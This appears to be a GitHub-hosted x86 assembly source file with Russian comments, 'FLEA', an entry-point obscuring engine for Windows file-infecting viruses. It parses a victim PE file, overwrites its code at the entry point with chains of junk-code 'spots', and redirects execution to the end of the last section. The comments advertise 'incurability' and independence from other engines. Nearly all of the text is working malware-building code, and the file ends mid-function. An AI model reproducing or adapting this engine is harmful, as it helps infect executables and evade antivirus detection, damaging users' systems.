-
Notifications
You must be signed in to change notification settings - Fork 23
/
Copy pathVirTool.Win32.Cryptor.Flea.asm
775 lines (711 loc) · 47.8 KB
/
VirTool.Win32.Cryptor.Flea.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ;
; xxxxxxxxxxx xxxx xxxxxxxxxxx xxxxxxxxxx ;
; xxxxxxxxxxx xxxx xxxxxxxxxxx xxxx xxxx ;
; xxxx xxxx xxxx xxxx xxxx ;
; xxxx xxxx xxxx xxxx xxxx ;
; xxxxxxxxx xxxx xxxxxxxxx xxxx xxxx ;
; xxxxxxxxx xxxx xxxxxxxxx xxxx xx xxxx ;
; xxxx xxxx xxxx xxxx xx xxxx ;
; xxxx xxxx xxxx xxxx xxxx xxxx ;
; xxxx xxxxxxxxxxx xxxxxxxxxxx xxxx xxxx ;
; xxxx xxxxxxxxxxx xxxxxxxxxxx xxxx xxxx ;
; ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; UEP ENGINE ;
; FLEA ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; :)! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; функция FLEA ;
; уеп(уёб) движок ;
; ;
; ;
;ВХОД: ;
;1 параметр (и единственный) - адрес структуры (UEPGEN) (ее описание смотри ниже) ;
;--------------------------------------------------------------------------------------------------------;
;ВЫХОД: ;
;EAX - абсолютный виртуальный адрес точки входа ;
;(а также самое главное: запись пятен в кодовую секцию с последующим сохранением оригинальных байт ;
;--------------------------------------------------------------------------------------------------------;
;ЗАМЕТКИ: ;
;структура, указатель на которую передан в качестве параметра, не портится, т.е. данные в ней после ;
;вызова данного движка остаются теми же. ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ОПИСАНИЕ СТРУКТУРЫ ;
; UEPGEN ;
; ;
; ;
;UEPGEN struct ;
; rgen_addr dd ? ;адрес Генератора Случайных Чисел (ГСЧ) ;
; tgen_addr dd ? ;адрес Генератора Мусорных Инструкций ;
; mapped_addr dd ? ;база мэппинга файла (MapViewOfFile) ;
; xsection dd ? ;IMAGE_SECTION_HEADER секции, в которую после после передать управление ;
; reserved1 dd ? ;зарезервировано ;
;MORPHGEN ends ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ОПИСАНИЕ СТРУКТУРЫ ;
; T2GEN ;
; (aka TRASHGEN) ;
; (более детальное описание смотри в движке xTG) ;
; ;
; ;
;TRASHGEN struct ;
; rgen_addr dd ? ;адрес Генератора Случайных Чисел (ГСЧ) ;
; buf_for_trash dd ? ;адрес (буфер), куда записывать генерируемое (хех, качественное) дерьмо ;
; size_trash dd ? ;размер (в байтах), сколько мусора записать ;
; regs dd ? ;занятые регистры (2 шт) ;
; xmask1 dd ? ;64-битная маска для генерации ;
; xmask2 dd ? ;мусорных команд (ака фильтр) ;
; beg_addr dd ? ;начальный адрес ;
; end_addr dd ? ;конечный адрес ;
; mapped_addr dd ? ;зарезервировано (либо база мэпинга (ака адрес файла в памяти)) ;
; reserv1 dd ? ;зарезервировано (хз, может когда-то там что и будет) ;
;TRASHGEN ends ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ПОЯСНЕНИЕ К ПОЛЯМ СТРУКТУРЫ UEPGEN: ;
; ;
; ;
;[ rgen_addr ] : ;
; так как данный движок (FLEA) разработан без привязки к какому-либо другому мотору, ;
; а для генерации мусора (и некоторых других фич) важен ГСЧ, поэтому адрес ГСЧ ;
; хранится в (данном) поле структуры. ;
; ВАЖНО: если мотор FLEA будет использовать другой ГСЧ (а не тот, который ;
; идет с ним в комплекте), надо, чтобы этот другой ГСЧ принимал в качестве 1-го ;
; (и единственного!) параметра в стэке число (назовем его N), так как поиск будет в ;
; диапазоне [0..n-1]. И на выходе другой ГСЧ должен возвращать в EAX случайное число. ;
; Остальные регистры должны остаться неизменными. Все. ;
;--------------------------------------------------------------------------------------------------------;
;[ tgen_addr ] : ;
; аналогично, как и с предыдущим полем структуры. Только тогда генератор мусора ;
; должен быть приведен к виду, как xTG (в ненужных полях можно передавать нули и все ;
; тип-топ). ;
;--------------------------------------------------------------------------------------------------------;
;[ mapped_addr ] : ;
; в этом поле хранится база мэппинга файла. Как пример, значение получаемое после ;
; вызова функи MapViewOfFile. ;
;--------------------------------------------------------------------------------------------------------;
;[ xsection ] : ;
; здесь передавать либо 0, либо IMAGE_SECTION_HEADER (в жертве) той секции, в ;
; которую после отработки должен будет передать управление данный uep-движок. ;
; Если здесь 0, то управление будет передано в конец последней секции. ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ЗАМЕТКИ ;
; ;
; ;
;1) для сокрытия точки входа (то есть для генерации пятен) следует вызвать (главную) функцию FLEA. ;
;2) для восстановления ранее сохраненных байт следует вызвать FLEA_RESTBYTES (возможно потребуется ;
; нужному участку памяти задать атрибуты страниц на чтение+запись). ;
;3) так как пятна представляют собой подфункции (с прологом, эпилогом, командой ret), и переход к ;
; следующему пятну осуществляется с помощью CALL'ов, то в стэке лежат разные значения. И чтобы после ;
; стэк сбалансировать, следует вызвать FLEA_RESTSTACK. ВАЖНО: перед вызовом функции FLEA_RESTSTACK, ;
; в стэке не должно быть уже никаких других данных. ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; y0p! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ФИЧИ ;
; ;
; ;
;(+) генерация рандомного числа пятен ;
; ;
;(+) пятна имеют рандомный размер, а также разный переход по пятнам (сверху вниз и наоборот) ;
; ;
;(+) техника неизлечимости ;
; ;
;(+) использование ГСЧ и Генератора Мусора (особенно своих, так это вообще охуительно) ;
; ;
;(+) базонезависимость ;
; ;
;(+) пятна выглядят как подфункции (с прологом, эпилогом, командой ret, а также возможно и fake winapi) ;
; ;
;(+) нет привязки к другим движкам (ГСЧ & trashgen можно юзать любой - условия читай выше;) ;
; * можно компилить как самостоятельный модуль; ;
; ;
;(+) не юзает WinAPI ;
; ;
;(+) управление можно передавать на любую секцию после отработки uep-движка (также опционально) ;
; ;
;(x) использует данные и дельта-смещение. ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; y0p! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ИСПОЛЬЗОВАНИЕ: ;
; ;
; ;
;1) Подключение: ;
; FLEA.asm ;
;2) Вызов (пример stdcall): ;
; ... ;
; szBuf db 100 dup (00h) ;
; ... ;
; lea ecx,szBuf ;
; assume ecx:ptr UEPGEN ;
; mov [ecx].rgen_addr,00401000h ;по этому адресу должен находиться ГСЧ ;
; mov [ecx].tgen_addr,00401300h ;по этому адресу должен находиться трэшген ;
; mov [ecx].mapped_addr,00330000h ;по этому адресу находится база мэппинга ;
; mov [ecx].xsection,0 ;ставим в ноль, значит уеп после передаст управление ;
; ;на конец последней секции ;
; ;остальные параметры обнулены. ;
; call FLEA ;вызываем полиморфный движок ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;v1.0
;коменты обычно пишутся ночью, поэтому возможен бредняк в них.
;m1x
;EOF
;========================================================================================================
;структуры
;========================================================================================================
UEPGEN struct
rgen_addr dd ?
tgen_addr dd ?
mapped_addr dd ?
xsection dd ?
reserved1 dd ?
UEPGEN ends
;--------------------------------------------------------------------------------------------------------
T2GEN struct ;
rgen_addr dd ? ;адрес Генератора Случайных Чисел (ГСЧ) ;
buf_for_trash dd ? ;адрес (буфер), куда записывать генерируемое (хех, качественное) дерьмо ;
size_trash dd ? ;размер (в байтах), сколько мусора записать ;
regs dd ? ;занятые регистры (2 шт) ;
xmask1 dd ? ;64-битная маска для генерации ;
xmask2 dd ? ;мусорных команд (ака фильтр) ;
beg_addr dd ? ;начальный адрес ;
end_addr dd ? ;конечный адрес ;
mapped_addr dd ? ;база мэпинга ;
reserv1 dd ? ;зарезервировано (хз, может когда-то там что и будет) ;
T2GEN ends ;
;========================================================================================================
MAX_SPOTS equ 10 ;максимальное кол-во генерируемых пятен
uportion1 equ 85 ;размер (в байтах) 1-ой порции мусора
uportion2 equ 50 ;размер (в байтах) 2-ой порции мусора
MIN_FIRST_PORTION equ uportion1-30 ;генерировать первую порцию мусора не меньше данного кол-ва байт
min_jmp equ uportion1+uportion2+7+10+30 ;расстояние минимальное
max_jmp equ min_jmp+200 ;расстояние максимальное
;далее идут значения для трэшгена
begin_address equ 0 ;начальный адрес (описание смотри в xTG.asm, либо ставь нули)
end_address equ 0 ;конечный адрес
mask_trash1 equ 00000000000011111111110101111001b ;маска для мусора
mask_trash2 equ 011110000b ;2-ая часть маски (разрешаем только генерацию фэйковых апишек)
FLEA: ;движок FLEA
pushad ;сохраняем регистры
cld
mov ebp,esp ;[ebp+00]
mov ebx,dword ptr [ebp+24h]
assume ebx:ptr UEPGEN ;ebx - указатель на структуру UEPGEN
mov esi,[ebx].mapped_addr
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew
push esi ;[ebp-04] ;сохраняем указатель на IMAGE_NT_HEADERS
lodsd
assume esi:ptr IMAGE_FILE_HEADER
movzx ecx,[esi].NumberOfSections
movzx edx,[esi].SizeOfOptionalHeader
add esi,sizeof IMAGE_FILE_HEADER
assume esi:ptr IMAGE_OPTIONAL_HEADER
push [esi].AddressOfEntryPoint ;[ebp-08] ;сохраняем точку входа
push [esi].ImageBase ;[ebp-12] ;сохраняем базу
add esi,edx
assume esi:ptr IMAGE_SECTION_HEADER
sub esp,(sizeof T2GEN + 4 + 80) ;выделяем в стэке место для временных переменных и структуры T2GEN (aka TRASHGEN)
mov tgen_struct,esp
mov edx,esp
assume edx:ptr T2GEN
;--------------------------------------------------------------------------------------------------------
push mask_trash1 ;пофильтруем маску для генерации трэша
call gen_mask
or al,1
mov xtmask1,eax
push mask_trash2
call gen_mask
or eax,01110000b
mov xtmask2,eax
;--------------------------------------------------------------------------------------------------------
push [ebx].rgen_addr ;вначале заполним некоторые поля структуры TRASHGEN
pop [edx].rgen_addr
mov [edx].regs,0FFh
push xtmask1
pop [edx].xmask1
push xtmask2
pop [edx].xmask2
mov [edx].beg_addr,begin_address
mov [edx].end_addr,end_address
push [ebx].mapped_addr
pop [edx].mapped_addr
xor eax,eax
cdq
;--------------------------------------------------------------------------------------------------------
_search_new_ep_: ;далее начинаем поиск кодовой секции
cmp edx,[esi].VirtualAddress
ja _search_code_sec_
cmp eax,[esi].PointerToRawData
ja _search_code_sec_
mov edx,[esi].VirtualAddress ;а также сохраним новую точку входа (она будет указывать на конец последней секции)
mov eax,[esi].PointerToRawData
mov edi,[esi].SizeOfRawData
mov new_ep,edx
add new_ep,edi
;--------------------------------------------------------------------------------------------------------
_search_code_sec_:
push eax
mov eax,old_ep
mov edi,[esi].VirtualAddress
cmp edi,eax;old_ep
ja _nextsection_
cmp [esi].Misc.VirtualSize,0
jne _vsok_
add edi,[esi].SizeOfRawData
jmp _psok_
_vsok_:
add edi,[esi].Misc.VirtualSize
_psok_:
cmp edi,eax
jbe _nextsection_
sub eax,[esi].VirtualAddress
add eax,[esi].PointerToRawData
add eax,[ebx].mapped_addr
mov start_addr,eax ;если нашли кодовую секцию, то сохраним физический адрес точки входа, т.к. отсюда и начнем клепать пятна
mov codesec,esi ;а также сохраним аказатель в табличке секций на кодовую секцию
_nextsection_:
pop eax
add esi,sizeof IMAGE_SECTION_HEADER
loop _search_new_ep_
;--------------------------------------------------------------------------------------------------------
mov esi,codesec ;после вычислим конец кодовой секции
mov eax,[esi].SizeOfRawData
cmp eax,[esi].Misc.VirtualSize
jbe _sizecsok_
cmp [esi].Misc.VirtualSize,0
je _sizecsok_
mov eax,[esi].Misc.VirtualSize
_sizecsok_:
add eax,[esi].VirtualAddress
sub eax,old_ep
mov size_codesec,eax
add eax,old_ep
mov max_codesec_addr,eax
mov edi,imNTh
assume edi:ptr IMAGE_NT_HEADERS
;--------------------------------------------------------------------------------------------------------
_maxvacs_: ;далее, найдем максимальный адрес, и получится отрезок:
;[физич. адрес точки входа ; максимальный адрес в кодовой секции]
;и в этом отрезке будем записывать пятна. Иначе в кодовой секции могут быть директории импорта, tls и т.д.
;И если мы перепишем их своими пятнами, то будет пыцдэт файлу
mov eax,[edi].OptionalHeader.DataDirectory[ecx*8].VirtualAddress
cmp old_ep,eax
ja _nextdatadir_
cmp max_codesec_addr,eax
jb _nextdatadir_
mov max_codesec_addr,eax
_nextdatadir_:
inc ecx
cmp ecx,15
jne _maxvacs_
;--------------------------------------------------------------------------------------------------------
mov eax,max_codesec_addr
sub eax,[esi].VirtualAddress
add eax,[esi].PointerToRawData
add eax,[ebx].mapped_addr
mov max_codesec_addr,eax ;получаем максимальный физический адрес в кодовой секции
;Так, теперь диапазон у нас есть
mov eax,start_addr
mov cur_codesec_addr,eax
push MAX_SPOTS
call [ebx].rgen_addr ;рэндомно получаем, сколько пятен сгенерим и запишем в кодовую секцию
inc eax
mov num_spots,eax
call _delta_uep_
_delta_uep_:
pop eax
sub eax,_delta_uep_
lea ecx,[restore_bytes+eax]
mov beg_rest_bytes,ecx ;в этот буфер будем сохранять оригинальные байты из кодовой секции (которые перепишем пятнами)
xor ecx,ecx
;--------------------------------------------------------------------------------------------------------
_nextaddrforspots_:
call get_jmpaddr ;получим адрес очередного пятна, на которое прыгнем
add eax,cur_codesec_addr
push eax
add eax,(uportion1+uportion2+7+10) ;прибавим 2 порции мусора + max размер (mov reg,<address> call reg) (7 byte) + размер пролога и эпилога для каждого пятнышка (6 byte + 3 byte) + размер команды ret (+1 byte)
cmp eax,max_codesec_addr ;и сравним с максимальный допустимым адресом
pop eax
jae _alladdrforspots_ ;если больше макс. адреса, то пятна больше не варик генерить, и выходим из цикла
push eax ;иначе сохраняем в стэке адрес
mov cur_codesec_addr,eax ;сделаем текущим адресом проверки адрес для нового пятна
inc ecx
cmp ecx,num_spots
jne _nextaddrforspots_
_alladdrforspots_:
mov num_spots,ecx ;сохраним кол-во пятен, которые точно можно записать в кодовой секции
;--------------------------------------------------------------------------------------------------------
cmp cl,1
push 0
pop eax
jb _enduep_ ;если ноль пятен, то выходим из движка
mov eax,esp
push start_addr ;будем перемешивать все полученные адреса пятен, кроме первого
je _nomixaddr_
;--------------------------------------------------------------------------------------------------------
push ecx
push eax
call mix_addr ;перемешаем адреса пятен
_nomixaddr_:
xor edx,edx
mov edi,beg_rest_bytes
stosb ;в 1-ом байте будет храниться кол-во пятен. Пока пропустим его
mov cur_rest_bytes,edi
;--------------------------------------------------------------------------------------------------------
_genspot_:
mov edi,cur_rest_bytes
_portion1_:
push uportion1
call [ebx].rgen_addr
cmp eax,MIN_FIRST_PORTION
jb _portion1_
mov spot1,eax
xchg eax,ecx
push uportion2
call [ebx].rgen_addr
mov spot2,eax
add ecx,eax
add ecx,(7+10) ;max_size (mov reg,<address> call reg) (7 byte) + prologue (6 byte) + epilogue (3 byte) + ret (1 byte)
mov eax,ecx
stosd ;сначала сохраним в спец. буфере размер очередного пятна (это 1-ая порция мусора + jmp + 2-ая порция мусора)
mov eax,dword ptr [esp]
mov esi,codesec
sub eax,[ebx].mapped_addr
sub eax,[esi].PointerToRawData
add eax,[esi].VirtualAddress
add eax,base
stosd ;и сохраним следом абослютный виртуальный адрес, куда после будем восстанавливать ранее сохраненные байты
mov esi,dword ptr [esp]
rep movsb ;а после сохраним байты, на место которых запишем пятно
mov cur_rest_bytes,edi
pop edi
push edx
mov edx,tgen_struct
;--------------------------------------------------------------------------------------------------------
mov [edx].buf_for_trash,edi
mov [edx].size_trash,6 ;размер пролога
mov [edx].xmask1,0b
mov [edx].xmask2,100b ;в маске разрешаем генерацию только пролога (для другого генератора мусора здесь возможна генерация порции мусора)
push edx
call [ebx].tgen_addr ;запишем пролог (push ebp mov ebp,esp sub esp,0xXX)
push xtmask1
pop [edx].xmask1
push xtmask2
pop [edx].xmask2
;--------------------------------------------------------------------------------------------------------
mov [edx].buf_for_trash,eax
mov eax,spot1
mov [edx].size_trash,eax
push edx
call [ebx].tgen_addr ;запишем первую порцию мусора
xchg eax,edi
push edi
add edi,5
mov eax,dword ptr [esp+04]
cmp eax,num_spots ;проверим, остался последний адрес для записи пятна?
jne _nextspot_ ;если да, тогда запишем финальное пятно, jmp в котором будет указывать на последнюю секцию, а не на очередное пятно
;********************************************************************************************************
comment %
;запись финального пятна
mov esi,codesec ;с помощью нехитрой формулы посчитаем операнд для jmp (0xE9)
sub edi,[ebx].mapped_addr
sub edi,[esi].PointerToRawData
add edi,[esi].VirtualAddress
mov ecx,[ebx].xsection
jecxz _notxsec_
assume ecx:ptr IMAGE_SECTION_HEADER
sub edi,[ecx].VirtualAddress
sub edi,[ecx].SizeOfRawData ;здесь строим call near (0xE8 0xXX 0xXX 0xXX 0xXX)
jmp _finalcall_
_notxsec_:
sub edi,new_ep
_finalcall_:
neg edi
xchg edi,dword ptr [esp]
mov al,0E8h ;0E9h ;CALL NEAR 0xXXXXXXXX (0xE8 0xXX 0xXX 0xXX 0xXX)
stosb
pop eax
stosd
;%
;comment ! ;for mcafe
mov edi,new_ep
mov ecx,[ebx].xsection
jecxz _notxsec_ ;если поле пустое, значит управление после уепа передаем в конец последней секции
assume ecx:ptr IMAGE_SECTION_HEADER
mov edi,[ecx].VirtualAddress
add edi,[ecx].SizeOfRawData
_notxsec_:
add edi,base ;а здесь строим
xchg edi,dword ptr [esp]
mov al,0B8h ;mov reg32,<address>
stosb
pop eax
stosd
mov al,0FFh ;call reg32
stosb
mov al,0D0h
stosb
;!
mov [edx].buf_for_trash,edi
mov eax,spot2
mov [edx].size_trash,eax
push edx
call [ebx].tgen_addr ;2-ая порция мусора для финального пятна
;--------------------------------------------------------------------------------------------------------
mov [edx].buf_for_trash,eax
mov [edx].size_trash,3 ;размер эпилога
mov [edx].xmask1,0b
mov [edx].xmask2,1000b ;в маске разрешаем генерацию только эпилога (для другого генератора мусора здесь возможна генерация очередной порции мусора)
push edx
call [ebx].tgen_addr ;запишем эпилог для финального пятна (mov esp,ebp pop ebp)
mov byte ptr [eax],0C3h ;и запишем ret
;--------------------------------------------------------------------------------------------------------
pop edx
jmp _endspot_ ;выходим из цикла
;********************************************************************************************************
;запись очередного пятна
_nextspot_:
sub edi,dword ptr [esp+08] ;следующий адрес
neg edi
xchg edi,dword ptr [esp]
mov al,0E8h ;CALL NEAR (0xE8 0xXX 0xXX 0xXX 0xXX)
stosb
pop eax
stosd
mov [edx].buf_for_trash,edi
mov eax,spot2
mov [edx].size_trash,eax
push edx
call [ebx].tgen_addr ;2 порция мусора для очередного пятнышка
;--------------------------------------------------------------------------------------------------------
mov [edx].buf_for_trash,eax
mov [edx].size_trash,3 ;размер эпилога
mov [edx].xmask1,0b
mov [edx].xmask2,1000b ;в маске разрешаем генерацию только эпилога (для другого генератора мусора здесь возможна генерация очередной порции мусора)
push edx
call [ebx].tgen_addr ;запишем эпилог для очередного пятна (mov ebp,esp pop ebp)
mov byte ptr [eax],0C3h ;и запишем ret
;--------------------------------------------------------------------------------------------------------
pop edx
inc edx
jmp _genspot_
;--------------------------------------------------------------------------------------------------------
_endspot_:
mov edi,beg_rest_bytes
mov eax,num_spots ;корректируем кол-во записанных пятен (т.к. до этого мы не посчитали 1-ого пятна, которое всегда записывается в точке входа)
inc eax
stosb
mov eax,start_addr
mov esi,codesec
sub eax,[ebx].mapped_addr
sub eax,[esi].PointerToRawData
add eax,[esi].VirtualAddress
add eax,base
;--------------------------------------------------------------------------------------------------------
_enduep_:
mov esp,ebp
mov dword ptr [ebp+1Ch],eax ;результат в EAX
popad
ret 4
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец дфункции/движка FLEA
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;функция FLEA_RESTBYTES
;восстановление ранее сохраненных байт (на свои места)
;ВЫХОД:
; - делает свое дело :)
;EAX - кол-во сгенерированных пятен (на места которых восстановим ранее сохраненные байты)
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
FLEA_RESTBYTES:
pushad
cld
call _delta_ueprest_
_delta_ueprest_:
pop eax
sub eax,_delta_ueprest_
lea esi,[restore_bytes+eax]
push esi
xor eax,eax
lodsb
xchg eax,ebx ;сохраняем в EBX кол-во записанных пятен
mov edx,ebx
_nextrestspot_:
lodsd
xchg eax,ecx ;сохраняем в ECX размер очередного пятна
lodsd
xchg eax,edi ;сохраняем в EDI адрес, где находится очередное пятно
rep movsb ;и запишем на место этого пятна оригинальные (ранее сохраненные) байты
dec ebx
jne _nextrestspot_
pop eax
sub esi,eax
xchg eax,esi
mov dword ptr [esp+1Ch],edx
popad
ret
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции FLEA_REST
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;функция FLEA_RESTSTACK
;сбаланирование стэка после после пятен
;ВХОД (stdcall) (FLEA_RESTSTACK(DWORD num_spots)):
;num_spots - количество отработанных в жертве пятен
; (это значение можно получить из буфера restore_bytes)
;ВЫХОД:
;балансировка стэка, а также в ECX=0, EAX = адрес команды, которая выполняется сразу после вызова данной
;функции (FLEA_RESTSTACK);
;ЗАМЕТКИ:
; так как каждое пятно меняло регистр EBP и ESP (клало EBP в стэк, а также адрес, следующий за
; CALL'ом), то надо восстановить данные регистры, и соответственно стэк.
; ВАЖНО: вызывать эту функцию только тогда, когда в стэке вы уже не храните никакие данные.
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
FLEA_RESTSTACK:
pop eax
pop ecx
_reststack_:
add esp,4 ;pop edx
mov esp,ebp
pop ebp
loop _reststack_
jmp eax
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функи FLEA_RESTSTACK
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;вспомогательная функция gen_mask
;генерация маски для мусора
;ВХОД (stdcall) (gen_mask(DWORD xmask)):
; xmask - начальная маска
;ВЫХОД:
; EAX - новая маска
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
gen_mask:
push ecx
mov ecx,dword ptr [esp+08]
push -1
call [ebx].rgen_addr
and ecx,eax
rol eax,10h
push eax
